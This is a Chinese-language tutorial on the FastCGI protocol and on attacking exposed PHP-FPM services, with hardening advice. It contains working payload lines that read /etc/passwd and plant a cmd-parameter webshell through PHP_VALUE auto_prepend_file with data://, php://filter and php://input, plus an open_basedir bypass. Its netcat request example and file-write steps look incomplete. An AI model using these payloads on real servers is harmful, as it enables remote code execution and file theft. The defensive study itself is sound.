浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法
字数 2259 2025-08-09 17:09:31
Fastcgi 协议分析与 PHP-FPM 攻击方法深度解析
一、Fastcgi 协议基础
1.1 Fastcgi 概述
Fastcgi 是一种高性能的 Web 服务器与应用程序交互的协议,克服了传统 CGI 协议的性能瓶颈。与 CGI 每次请求都 fork 新进程不同,Fastcgi 采用持久化进程处理多个请求。
1.2 Fastcgi 与 PHP-FPM 关系
PHP-FPM (FastCGI Process Manager) 是 PHP 的 Fastcgi 实现,负责管理 PHP 进程池并与 Web 服务器(Nginx/Apache等)通信。
1.3 协议基本结构
Fastcgi 协议基于二进制格式,通过 TCP 或 Unix Socket 传输,主要组成部分:
- 固定大小的头部(8字节)
- 可变长度的内容主体
头部格式:
typedef struct {
unsigned char version; // 协议版本
unsigned char type; // 记录类型
unsigned char requestIdB1; // 请求ID高8位
unsigned char requestIdB0; // 请求ID低8位
unsigned char contentLengthB1;// 内容长度高8位
unsigned char contentLengthB0;// 内容长度低8位
unsigned char paddingLength; // 填充长度
unsigned char reserved; // 保留字节
} FCGI_Header;
二、Fastcgi 协议详细分析
2.1 记录类型(Type)
Fastcgi 定义了多种记录类型,常见的有:
| 类型值 | 常量名 | 描述 |
|---|---|---|
| 1 | FCGI_BEGIN_REQUEST | 开始请求 |
| 2 | FCGI_ABORT_REQUEST | 中止请求 |
| 3 | FCGI_END_REQUEST | 结束请求 |
| 4 | FCGI_PARAMS | 传递环境变量和参数 |
| 5 | FCGI_STDIN | 标准输入数据 |
| 6 | FCGI_STDOUT | 标准输出数据 |
| 7 | FCGI_STDERR | 标准错误数据 |
2.2 通信流程
- Web 服务器发送
FCGI_BEGIN_REQUEST开始请求 - 通过
FCGI_PARAMS传递环境变量和参数 - 通过
FCGI_STDIN传递 POST 数据 - PHP-FPM 处理完成后通过
FCGI_STDOUT返回响应 - 最后发送
FCGI_END_REQUEST结束请求
2.3 参数传递格式
FCGI_PARAMS 中的参数采用 name-value 对格式,有两种编码方式:
- 当 name 或 value 长度 < 128 字节时:
unsigned char nameLength; // name长度 unsigned char valueLength; // value长度 unsigned char nameData[nameLength]; unsigned char valueData[valueLength]; - 当 name 或 value 长度 ≥ 128 字节时:
unsigned char nameLengthB3; /* nameLength >> 24 & 0xff */ unsigned char nameLengthB2; /* nameLength >> 16 & 0xff */ unsigned char nameLengthB1; /* nameLength >> 8 & 0xff */ unsigned char nameLengthB0; /* nameLength & 0xff */ unsigned char valueLengthB3;/* valueLength >> 24 & 0xff */ unsigned char valueLengthB2;/* valueLength >> 16 & 0xff */ unsigned char valueLengthB1;/* valueLength >> 8 & 0xff */ unsigned char valueLengthB0;/* valueLength & 0xff */ unsigned char nameData[nameLength]; unsigned char valueData[valueLength];
三、PHP-FPM 攻击方法
3.1 攻击原理
当 PHP-FPM 暴露在公网或内网可访问位置时,攻击者可以构造恶意的 Fastcgi 协议数据包,直接与 PHP-FPM 通信,绕过 Web 服务器的安全限制。
3.2 关键攻击参数
通过构造特殊的 FCGI_PARAMS 参数可以实施攻击:
PHP_VALUE:设置 PHP 配置项PHP_ADMIN_VALUE:设置 PHP 配置项(优先级更高)SCRIPT_FILENAME:指定执行的 PHP 文件DOCUMENT_ROOT:设置文档根目录
3.3 具体攻击步骤
3.3.1 文件读取攻击
- 构造恶意请求设置
auto_prepend_file为 php 伪协议:PHP_VALUE auto_prepend_file=php://filter/convert.base64-encode/resource=/etc/passwd - 设置
SCRIPT_FILENAME为一个存在的 PHP 文件(如/var/www/html/index.php) - PHP-FPM 会先执行文件包含,读取指定文件内容
3.3.2 代码执行攻击
- 通过
PHP_VALUE或PHP_ADMIN_VALUE修改配置允许执行危险函数:PHP_VALUE allow_url_include=1 PHP_VALUE auto_prepend_file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= - 访问时带上
?cmd=id即可执行系统命令
3.3.3 写文件攻击
- 开启
allow_url_fopen和allow_url_include:PHP_ADMIN_VALUE allow_url_fopen=1 PHP_ADMIN_VALUE allow_url_include=1 - 使用
file_put_contents写入 WebShell:
然后在 POST body 中写入 PHP 代码PHP_VALUE auto_prepend_file=php://input
3.4 攻击利用条件
- PHP-FPM 服务端口(默认9000)或 Unix Socket 可被访问
- 知道服务器上至少一个 PHP 文件的绝对路径(用于
SCRIPT_FILENAME) - PHP-FPM 未配置访问控制
四、防御措施
4.1 网络层防御
- 禁止将 PHP-FPM 端口暴露在公网
- 使用防火墙限制访问来源
# 只允许本地和Web服务器访问 iptables -A INPUT -p tcp --dport 9000 -s 127.0.0.1 -j ACCEPT iptables -A INPUT -p tcp --dport 9000 -s WEB_SERVER_IP -j ACCEPT iptables -A INPUT -p tcp --dport 9000 -j DROP
4.2 PHP-FPM 配置加固
- 修改 php-fpm.conf 限制可访问的客户端:
listen.allowed_clients = 127.0.0.1 - 使用 Unix Socket 代替 TCP 端口:
listen = /var/run/php-fpm.sock - 设置适当的文件权限:
chmod 660 /var/run/php-fpm.sock chown www-data:www-data /var/run/php-fpm.sock
4.3 PHP 配置加固
- 禁用危险函数:
disable_functions = exec,passthru,shell_exec,system,proc_open,popen - 限制文件操作:
open_basedir = /var/www/html allow_url_fopen = Off allow_url_include = Off
五、检测与验证
5.1 检测 PHP-FPM 暴露
使用 nmap 扫描目标网络:
nmap -p 9000 TARGET_IP
5.2 协议交互验证
使用 netcat 手动构造 Fastcgi 请求:
# 构造Fastcgi请求头
printf "\x01\x01\x00\x01\x00\x08\x00\x00" > /tmp/fcgi_request
printf "\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01\x00\x00\x00\x00" >> /tmp/fcgi_request
# 发送请求
cat /tmp/fcgi_request | nc 127.0.0.1 9000
5.3 自动化工具
使用现有工具进行测试:
六、深入利用技巧
6.1 绕过 open_basedir 限制
通过修改 open_basedir 配置可以绕过限制:
PHP_VALUE open_basedir=/
6.2 利用 PHP.INI 配置
通过修改以下配置实现更复杂的攻击:
PHP_VALUE session.upload_progress.enabled=1
PHP_VALUE session.upload_progress.cleanup=0
PHP_VALUE session.upload_progress.prefix="upload_progress_"
PHP_VALUE session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS"
PHP_VALUE session.upload_progress.freq="1%"
6.3 结合其他协议
利用 php://filter 和 data:// 等伪协议实现无需文件落地的攻击:
PHP_VALUE auto_prepend_file=data://text/plain,<?php system($_GET['cmd']);?>
七、总结
Fastcgi 协议作为 Web 服务器与 PHP 应用的高效通信方式,在配置不当的情况下可能成为严重的安全隐患。理解协议细节和攻击方法有助于更好地防御此类攻击。管理员应确保 PHP-FPM 服务不被直接暴露,并实施严格的安全配置。